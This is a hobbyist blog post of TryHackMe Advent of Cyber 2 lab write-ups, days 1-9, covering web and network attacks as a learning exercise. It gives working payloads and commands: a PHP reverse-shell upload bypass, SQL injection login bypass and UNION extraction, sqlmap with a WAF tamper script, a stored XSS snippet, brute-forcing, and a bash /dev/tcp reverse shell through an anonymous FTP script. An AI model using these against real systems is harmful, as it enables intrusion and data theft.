CTF - Advent of Cyber 2 [2020] Writeups (Day1 to Day9)

This post will be the first of the many (hopefully 😉) posts in a series for tryhackme writeups! Specifically, this post is about the now old but very good beginner friendly CTF room - Advent of Cyber 2. More details below!

⚠ IMPORTANT ⚠ For someone who don't wish to be spoilt, do not read the writeup section of this post. A lot of them consisted of the exact commands and steps took when attempting the challenges.

Table Of Contents

• Motivation
• Who should try this tryhackme room
• Writeups
  Link to writeups categorized by day

  • Day 1️⃣
  • Day 2️⃣
  • Day 3️⃣
  • Day 4️⃣
  • Day 5️⃣
  • Day 6️⃣
  • Day 7️⃣
  • Day 8️⃣
  • Day 9️⃣

⚡ Motivation

Despite having a career as a professional software developer for close to 10 years now, I always find myself

• intrigued by cybersecurity work - pen-testing, malware analysis, reverse engineering, etc
• unknowingly spending significant amount of time exploring related tricks/tools (dotpeek, nmap, sysinternal tools, linux internals, etc)
• and keeping up with relevant news (favourite podcast - Risky Business, favourite youtuber - LiveOverflow)

Still... Somehow I don't ever feel fulfilled, in fact I think I spread myself too thin over a wide field. A metaphor that comes into mind is me sniffing the smell of great food 🥗 in all corners of the world without eating any of them once!

Recently stumbled across the advent of cyber as a fun and beginner friendly way to learn CTF holistically.

• The great learning experience that I had so far ignites 🔥 me to complete the whole room (day 25). Will certainly look forward to this year's advent of cyber!
• Decided to also share my writeup because I already write a quite thorough note for personal reference - AKA I mostly only need to additionally write an intro for the start of a new room!
• Lastly, I think that good writing skills is a very important part of cybersecurity work. By publishing writeup articles it serves as a valuable 💎 practise and also a potential portfolio ;)

❓ Who should try this tryhackme room

• Based on my bias background, I imagine software developers or other IT professionals that would like a gleams of how CTF works will find my writeups mildly beneficial 🙂
• Similarly, I think this room is suitable for IT professionals but not someone that is new with computer technology.
• Information about tryhackme is easily searchable online. For those who like to have something to start reading about right away, this is an article about what are other good tryhackme room that are free?.
• ☝ Last by not least, the writeups are detailed but the words used are not polished unlike the introduction text.
  • Aside from the exact commands and steps, the writeups also contains bonus links to tools that I found useful.

⭐ Writeups

Finally the meat of the post! Note that I am mostly using my local windows machine + OpenVPN as the 'attacker' machine.

• You can opt to use the 'AttackTheBox' machine which is free to deploy once a day.

Day 1️⃣- Simple cookie auth bypass

using cyberchef or dcode.fr to decode the auth cookie value

Day 2️⃣ - Upload vuln

• There is a recommendation about a room dedicated to bypassing file upload
• steps
  • uploaded the php file by renaming it from reverse-shell.php to reverse-shell.png
    • CORRECTION: reverse-shell.jpeg.php
  • use netcat in git bash to listen to reverse shell
    • ncat -l 443
  • visit {tryhackme deployed machine}/uploads/reverse-shell.png in browser
  • profit
• unfortunately...
  • need to debug why there's no connection
  • make sure firewall allowed inbound connection for ncat.exe for private network
  • make sure ncat command is working by connecting to the same port
    • ncat -w 5 localhost 43434
  • trying tcpdump / windump
    • tcpdump needs to install additional driver
    • windump crash due to exception
    • used the following cmds in this attempt
      • netsh interface show interface
      • tcpdump.exe -i "Local Area Connection" -nn port 43434
      • WinDump.exe -i "Local Area Connection" -nn port 43434
  • {source}
  • https://support.cpanel.net/hc/en-us/articles/4402800122007-How-to-use-ncat-and-tcpdump-to-test-network-connections
• Good reference
  • stabilize reverse shell
• conclusion
  • turn out that...!
  • the file uploaded must end with .php

Day 3️⃣ - Bypass Auth via brute force

• "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --proxy-server="localhost:8080"
• "/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"
• Debugging why zap not getting traffic
  • spent a lot of time making sure proxy and certificates are configured
  • Use edge://flags/#unsafely-treat-insecure-origin-as-secure flag and add the domain to prevent auto https redirect
    • not working -> "http://10.10.190.96,http://10.10.190.96:8080,http://10.10.190.96:443"
  • TURN OUT THAT...
    • Just need to add 127.0.0.1:8080 as the proxy in openvpn client setting
    • AND make sure msedge --proxy-server parameter don't specify http!!!!!!!!!!!!!
    • And use fuzzer to brute force username and password

Day 4️⃣ - Discovery using gobuster and wfuzz

• pip install wfuzz
• download gobuster from it's github repo
  • %USERPROFILE%\Downloads\Hackish\gobuster\gobuster.exe
• history
  • /c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w wordlist.txt
  • download more wordlist from SecList
  • run gobuster with cleaner output by redirecting stderr to null
    • /c/Users/wizlee/Downloads/Hackish/gobuster/gobuster.exe dir -u http://10.10.79.2 -w dirsearch.txt 2>/dev/null
    • found ==http://10.10.79.2/api/==
  • download wfuzz docker pull ghcr.io/xmendez/wfuzz
  • run wfuzz
    • docker run --rm -v wordlist/:/wordlist/ -w /wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz -c -z file,date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.php
  • running in git bash fails. Need to run in cmd
    • docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -d “date=FUZZ” -u http://10.10.255.75/api/site-log.ph
    • final working cmd -> docker run --rm -v C:\Users\wizlee\Documents\Project\Grow\hackathon\tryhackme\xmas-advent-2020\wordlist\:/wfuzz/wordlist/ -it "ghcr.io/xmendez/wfuzz" wfuzz -c -z file,/wfuzz/wordlist/date.txt -u http://10.10.255.75/api/site-log.php?date=FUZZ
    • Got that final command by referring to wfuzz basic usage and docker run doc

Day 5️⃣ - Dump gift list by bypassing login using SQLi

• SQL injection login bypass exercise

  • username: ' or true --
  • password: anything') or true; --

  • Resulting backend SQL query
    

    SELECT * FROM users
    WHERE username = '' or true --'
    AND password = MD5('anything') or true; --')
    

• tips by reading the santa note

  • database used is SQLite
  • bypass WAF by using tamper script
  • combined: --dbms=SQLite --tamper=space2comment

• History

  • guessed the login panel by looking at the hint: s**tap****
  • successfully bypass login by filling username with ' or true --
  • the searching function seems broken, maybe due to the way we login
  • first tried blink SQLi using http://{machine IP}:8000/santapanel?search=1' AND%20(ascii(substr((select%20database()),1,1)))%20=%20115%20--+
  • that fails, then tried a UNION SQLi and it lists out all the gifts!
    • http://10.10.51.232:8000/santapanel?search=' ORDER BY 1--
    • this answers the questions of how many gifts and also what Paul wants as a gift
  • As UNION SQLi is effective, used that to determine how many column the authentication table has
    • delete the sesion cookies so that we can logout
    • found out there's 2 columns for the authentication table
    • Give it a shot to run the attack in the search box and it works to extract the auth table despite executed in gift table?
      • http://10.10.51.232:8000/santapanel?search= ' UNION SELECT username, password FROM users --
      • got the admin user and password via this method
  • For the question of what is the flag, that requires dumping the whole database
    • at first went the wrong direction and try to run sqlmap on the login POST request
    • after realizing that is not the correct way, run sqlmap on the search gift GET request instead
      • first save the GET request as a file from the browser devtool > network > right click the request > copy > request header
      • then run the following command python sqlmap.py -r ../xmas-advent-2020/day5/santapanel-search --dbms=SQLite --tamper=space2comment --dump-all
      • noticed that we are specifying the database and also a tamper script to bypass the WAF

Day 6️⃣ - Hijack Wish List via XSS

• Launch proxied msedge
  • "/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --user-data-dir="/c/Users/wizlee/AppData/Local/Microsoft/Edge/User Data/hack" --proxy-server="localhost:8080"
• History
  • Successfully used stored XSS attack -> end of wish</p> <script>alert("xss")</script>
  • Then just run the automatic scan using OWASP ZAP

Day 7️⃣ - Analysing basic networking traffic using wireshark

• Most questions here are straight forward
  • Just need to open the packet from the downloaded zip file from the lab
  • Follow the instructions and basically just need to use basic filtering such as
    • not ssh
    • http
  • The least obvious will be the last question, which can be done just by exporting the request using http
    • then select the packet with the context type of application/zip > save

Day 8️⃣ - Network discovery using NMap

• Two common TCP scan
  • Connect Scan - nmap -sT {ip}
  • SYN Scan - nmap -sS {ip}
    • SYN/ACK = open
    • RST = Closed
    • Multiple attempts = filtered
• Timing template -> -T0 to -T5
  • default is -T3
  • level 0 is 1 port scan every 5 minutes
  • level 5 is 1 port scan every 0.3 seconds
• -Pn: Treat all hosts as online -> skip host discovery
• -sV: Probe open ports to determine service/version info
• history
  • ran nmap -sS {ip} just to answer the first question.
    • compared the output to connect scan -sT. This seems much slower than SYNC scan, didn't wait for it to timeout as not being patient =P
  • ran nmap -Pn {ip} and got almost the exact output compared to SYNC scan
  • Compared the output of -A and -sV
  • ran nmap --script http-title 10.10.253.171
    • this returns "Internal Blog"
  • ran nmap --script http-apache-server-status 10.10.253.171
    • this don't return anything extra
  • ran nmap --script ssh-auth-methods 10.10.253.171
    • this reveals that the server support publickey and password ssh auth.

Day 9️⃣ - Root access via anonymous FTP

• The ability to gain root access depends on ALL the following
  • anonymous mode for FTP is enabled
  • Permission for anonymous user to upload files
  • Ability to execute code as root using the file that we uploaded
• History
  • ftp {ip}
    • type anonymous as the username
    • ftp> ls -la to list all files and folder of the current directory
  • ftp> ls public to list all files inside the directory that anonymous user has read and write permission.
  • ftp> cd public; get backup.sh; get shoppinglist.txt
    • this will answer the last two questions
  • The last question guide us to use reverse shell to gain access to the root shell.
    • however an easier shortcut is just to run
      • cat /root/flag.txt > flag.txt
      • followed by ftp> get flag.txt to read the flag.
    • also tried the recommended reverse shell method as this is the most flexible generic method.
      • bash -i >& /dev/tcp/{dev ip}}/4444 0>&1
      • run listener on dev machine ncat -lvnp 4444
  • ==conclusion==
    • need to use the reverse shell method.
    • somehow flag.txt didn't get writen despite putting both the commands in backup.sh
    • One last important point, haven't found a way to change a new file that is uploaded to have executable permission.
    • Thus, just need to write the exploit script in backup.sh which has executable permission.